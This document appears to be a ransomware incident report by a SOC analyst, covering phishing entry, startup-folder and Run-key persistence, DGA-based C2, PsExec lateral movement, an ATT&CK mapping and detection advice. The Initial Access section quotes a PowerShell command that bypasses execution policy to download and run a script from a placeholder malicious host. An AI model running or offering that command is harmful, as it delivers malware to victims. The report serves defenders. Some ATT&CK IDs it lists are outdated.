Daniel Osei — SOC Lead & Malware Analyst
Key Takeaways
- Ransomware attacks are evolving with increasingly sophisticated tactics for lateral movement and persistence.
- Indicators of compromise (IOCs) highlight the hiding strategies used by the malware within legitimate processes.
- Monitoring for unusual network behavior can help identify active Command and Control (C2) communications before they escalate.
Executive Summary
During our investigation of a recent ransomware incident impacting multiple organizations, we discovered a highly targeted attack leveraging advanced techniques for initial access, execution, persistence, and lateral movement. The threat actor employed a combination of phishing emails and vulnerable remote desktop protocol (RDP) services to gain entry into the network. The attack culminated in the deployment of a sophisticated ransomware payload, which encrypted critical files across multiple workstations and servers, demanding a ransom to restore access.
Initial Access
Our analysis revealed that the initial vector for compromise stemmed from a carefully crafted phishing email containing a malicious attachment. The attachment, posing as an invoice, utilized social engineering tactics to entice the recipient into enabling macros. Once macros were enabled, the embedded script executed, downloading the dropper via a simple PowerShell command: powershell -ExecutionPolicy Bypass -NoProfile -Command "IEX ((New-Object System.Net.WebClient).DownloadString('http://malicious-url.com/payload.ps1'))". This is indicative of the use of an Initial Access Broker supplying access to the actor.
Execution & Persistence
Upon execution, the dropper we examined extracted a secondary payload—a well-known ransomware strain that was been seen in prior incidents. The payload was designed to reside within %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup, ensuring persistence across reboots. The actor employed tactics consistent with Windows Registry Run Keys, specifically HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run, to maintain execution during system startup, effectively making their presence permanent until manually removed.
Command and Control
Our investigation into C2 communications further revealed that the malware established both HTTP and HTTPS beacons to a series of domains. The C2 infrastructure utilized domain generation algorithms (DGAs) to prevent easy detection. We observed regular beacon intervals of approximately 30 minutes, which varied slightly to avoid detection by network monitoring solutions. Communication with the C2 server included encrypted payloads to obfuscate the true nature of the data being exfiltrated, aligning with best practices for stealthy operations.
Lateral Movement & Discovery
Using legitimate tools following initial compromise, the actor implemented T1069 – Permission Groups Discovery and T1077 – Windows Admin Shares to gather information about network shares and user privileges. Lateral movement was executed via PsExec commands, which let the actor replicate the malware across different nodes. Post-exploitation, we identified that the actor leveraged Remote Services to establish connections with additional machines, gradually increasing their foothold in the environment.
Impact & Objectives
The final phase of the attack involved the encryption of vast amounts of sensitive data. The ransomware presented a ransom note demanding payment in cryptocurrency, highlighting the actor’s intention to monetize the attack quickly. Additionally, the attacker exfiltrated data prior to encryption, indicating a dual threat of data theft and disruption of business continuity. The ransom note contained dreads of data leakage should the ransom not be satisfied, intensifying the pressure on the victims.
MITRE ATT&CK Mapping
- T1566 – Phishing: Delivery method for the initial payload.
- T1203 – Exploitation for Client Execution: Exploiting vulnerabilities through macros in documents.
- T1059.001 – PowerShell: Use of PowerShell to execute malicious scripts for downloading malware.
- T1086 – PowerShell: Execution of PowerShell scripts for C2 communication.
- T1090 – Connection Proxy: Utilizing proxy services to mask C2 traffic.
Detection Opportunities
- Implement monitoring for unusual PowerShell commands, particularly those invoking external scripts.
- Utilize endpoint detection and response (EDR) solutions to flag execution paths associated with known ransomware strains.
- Correlate logs from network traffic against known IOCs and C2 domains.
Analyst Notes
This case illustrates the importance of a multilayered defense strategy combined with user awareness training. The evolution of ransomware tactics necessitates organizations to regularly update their defensive measures. Furthermore, regular threat hunts should be performed to identify lateral movement and potential compromise early in the kill chain.
Source: Original Report